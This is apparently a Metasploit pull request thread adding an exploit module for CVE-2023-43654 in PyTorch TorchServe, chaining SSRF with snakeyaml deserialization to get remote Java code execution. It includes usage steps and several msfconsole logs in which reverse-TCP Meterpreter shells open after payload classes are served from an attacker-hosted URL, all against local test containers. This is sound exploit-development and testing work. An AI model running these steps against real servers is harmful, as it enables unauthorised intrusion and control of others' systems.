Add Exploit For CVE-2023-43654 (PyTorch TorchServer SSRF + Deserialization RCE)

[zeroSteiner]

The PyTorch model server contains multiple vulnerabilities that can be chained together to permit an unauthenticated remote attacker arbitrary Java code execution. The first vulnerability is that the management interface is bound to all IP addresses and not just the loop back interface as the documentation suggests. The second vulnerability (CVE-2023-43654) allows attackers with access to the management interface to register MAR model files from arbitrary servers. The third vulnerability is that when an MAR file is loaded, it can contain a YAML configuration file that when deserialized by snakeyaml, can lead to loading an arbitrary Java class.

PyTorch TorchServer versions prior to 0.8.2 are affected. This module was tested against version 0.8.1.

This PR requires the changes from #18355 in order to work against the latest, vulnerable Docker container.

Java::HTTP::ClassLoader

This PR also updates the ClassLoader mixin to not deregister the URIPATH datastore option. There are then some additional changes necessary to make it work when a user has set the URIPATH datastore option. Due to how the class is loaded by Java, the URIPATH must end in / which is automatically appended if necessary by the mixin.

Verification

• Install the application
  • docker run --rm -it -p 8080:8080 -p 8081:8081 pytorch/torchserve:0.8.1-cpu
• Start msfconsole
• Do: use exploit/multi/http/torchserver_cve_2023_43654
• Set the RHOST, PAYLOAD and payload-related options
• Do: run
• You should get a shell.

Example

msf6 exploit(multi/http/torchserver_cve_2023_43654) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/torchserver_cve_2023_43654) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf6 exploit(multi/http/torchserver_cve_2023_43654) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/torchserver_cve_2023_43654) > run
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 0.8.1 is vulnerable.
[*] Using URL: http://192.168.159.128:9090/exploit/
[*] Registering the model archive...
[+] Sending model archive
[*] Sending stage (59909 bytes) to 172.17.0.2
[*] Meterpreter session 3 opened (192.168.159.128:4444 -> 172.17.0.2:39480) at 2023-10-05 16:13:54 -0400
[*] Server stopped.

meterpreter > getuid
Server username: model-server
meterpreter > sysinfo
Computer        : 4dbcfe5cc11c
OS              : Linux 6.2.15-100.fc36.x86_64 (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter > pwd
/home/model-server
meterpreter > 

[wvu]

Thanks for improving the mixin!

[wvu]

Thanks for improving the mixin!

One day, it'll serve a JAR. :)

[jheysel-r7]

Looks good! Just a couple minor comments. After applying the quick fix mentioned below everything worked as expected:

msf6 exploit(multi/http/torchserver_cve_2023_43654) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 0.8.1 is vulnerable.
[*] Using URL: http://172.16.199.1:9090/6I4C04ItE5b1sO/
[*] Registering the model archive...
[+] Sending model archive
[+] Sending ScriptEngineFactory class name
[+] Sending ScriptEngineFactory class name
[*] GET /6I4C04ItE5b1sO/MyScriptEngineFactory.class requested
[+] Sending the constructor class
[*] GET /6I4C04ItE5b1sO/metasploit/Payload.class requested
[+] Sending the main payload class
[*] HEAD /6I4C04ItE5b1sO/metasploit.dat requested
[+] Sending 200
[*] GET /6I4C04ItE5b1sO/metasploit.dat requested
[+] Sending the payload configuration data
[*] HEAD /6I4C04ItE5b1sO/metasploit/Payload.class requested
[+] Sending 200
[*] GET /6I4C04ItE5b1sO/metasploit/Payload.class requested
[+] Sending the main payload class
[*] Sending stage (57692 bytes) to 172.16.199.1
[*] Meterpreter session 8 opened (172.16.199.1:4444 -> 172.16.199.1:54068) at 2023-10-11 23:05:41 -0400
[*] Server stopped.

meterpreter > getuid
Server username: model-server
meterpreter > sysinfo
Computer        : dc6da9d6fa2a
OS              : Linux 6.3.13-linuxkit (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter >

[adfoster-r7]

@sjanusz-r7 👀

Probably worth a quick check that this will work with the at-rest encryption for metasploit-payloads rapid7/metasploit-payloads#679

[jheysel-r7]

Thanks for making those changes and for the great module! Retested and everything is working smoothly

msf6 > use torchserver
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/multi/http/torchserver_cve_2023_43654  2023-10-03       excellent  Yes    PyTorch Model Server Registration and Deserialization RCE


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/torchserver_cve_2023_43654

[*] Using exploit/multi/http/torchserver_cve_2023_43654
msf6 exploit(multi/http/torchserver_cve_2023_43654) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/torchserver_cve_2023_43654) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/http/torchserver_cve_2023_43654) > set srvport 9090
srvport => 9090
msf6 exploit(multi/http/torchserver_cve_2023_43654) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 0.8.1 is vulnerable.
[*] Using URL: http://172.16.199.1:9090/44lXFR/
[*] Registering the model archive...
[+] Sending model archive
[*] Sending stage (57692 bytes) to 172.16.199.1
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:50708) at 2023-10-12 11:22:31 -0400
[*] Server stopped.

meterpreter > getuid
Server username: model-server
meterpreter > sysinfo
Computer        : dc6da9d6fa2a
OS              : Linux 6.3.13-linuxkit (amd64)
Architecture    : x64
System Language : en_US
Meterpreter     : java/linux
meterpreter >

[jheysel-r7]

Release Notes

This PR adds a module that exploits PyTorch TorchServer by chaining an SSRF vulnerability with a deserialization RCE vulnerability to permit an unauthenticated remote attacker arbitrary Java code execution. The PR also fixes how the ClassLoader mixin handles datastore options.